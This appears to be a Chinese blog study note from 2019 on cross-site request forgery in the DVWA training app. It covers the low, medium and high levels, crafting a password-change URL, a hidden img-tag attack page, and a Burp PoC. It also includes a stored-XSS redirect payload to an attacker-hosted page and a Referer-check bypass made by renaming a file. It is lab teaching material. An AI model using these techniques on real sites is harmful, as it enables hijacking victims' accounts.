DVWA-CSRF学习笔记

DVWA-CSRF学习笔记

一、CSRF(跨站请求伪造)

CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie、session会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害人的身份向服务器发送请求,从而完成非法操作(如转账、改密等)。

二、CSRF攻击原理图

  

三、CSRF与CSS的区别

CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户

XSS属于技术漏洞,客户信任服务器

四、CSRF漏洞分析

1、漏洞利用前提:用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的

将DVWA的级别设置为low

1.1查看源代码,首先获取输入的两个密码然后判断两个值是否相等,如果相等则对$pass_new变量进行调用mysql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。分析源码可以看到只对SQL注入进行了过滤,没有防御CSRF

  

1.2本地尝试简单的CSRF攻击

1.2.1首先登录DVWA,产生cookie信息,然后点击CSRF栏,在burp开启拦截数据包,然后再DVWA CSRF栏中输入密码以及确认密码

1.2.2此时burp 已经拦截到数据包

  

1.2.3我们可以修改数据包,构造一个带有修改密码的url发送给目标用户(目标用户需要已经登录DVWA,产生cookie信息),当目标用户点击url时,密码就被修改了。

现在本地测试,burp抓到数据包之后,把数据包丢弃掉(Drop),然后在浏览器打开另一个窗口,输入构造的url,可以看到成功修改密码

  

1.2.4测试用DVWA的默认密码登录,发现登录不进去,然后用修改过的密码登录,发现登录成功,说明存在CSRF漏洞

1.3尝试构成一个带有修改密码的url,发送给远端的用户(在xp 系统中打开浏览器,然后访问登录DVWA)

1.3.1把构造的带有修改密码的url发送给目标用户,目标用户访问之后,密码就会被修改

  

1.4构造攻击页面

1.4.1通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

将test.html文件放在攻击者自己准备的网站上

  

1.4.2当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击test.html 误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为123

1.5抓包利用burp创建poc

  

1.5.1点击copy HTML 然后在web站点中创建一个文件,把poc的内容复制进去

1.5.2在另一个浏览器登录DVWA,产生session会话,然后访问http://192.168.10.144/2.html #站点,可以看到如下内容,点击“Submit,request”,运行了2.html文件中的内容,成功修改密码

  

1.6结合存储型xss来进行重定向

1.6.1在存储型xss漏洞栏输入<script>window.location=’http://192.168.10.144/test.html’</script>

  

1.6.2当用户访问了带有存储型xss漏洞的页面,就会运行test.html文件,test.html文件内容是修改密码并进行简单的伪装,此时成功修改密码

  

将DVWA的级别设置为Medium

1.分析源码,可以看到Medium级别在Low级别的基础上了加了HTTP_REFERER验证,判断127.0.0.1是否在 referer中,只能本地登录,此时可以把之前的test.html文件重命名为127.0.0.1.html来达到绕过的目的

  

2.把test文件重名为127.0.0.1.html

  

3.此时在登陆过DVWA并保持有session会话的的浏览器中,打开另一个窗口,输入http://192.168.10.144/127.0.0.1.html 访问位于远端服务器的html文件,然后密码就会被修改

4.通过burp分析

  

  

将DVWA的级别设置为High

分析源码,可以看到对密码修改有二次验证,彻底杜绝了利用CSRF漏洞修改密码

  

 

 

    

 

posted @ 2019-05-02 15:36  雨中落叶  阅读(4908)  评论(0编辑  收藏  举报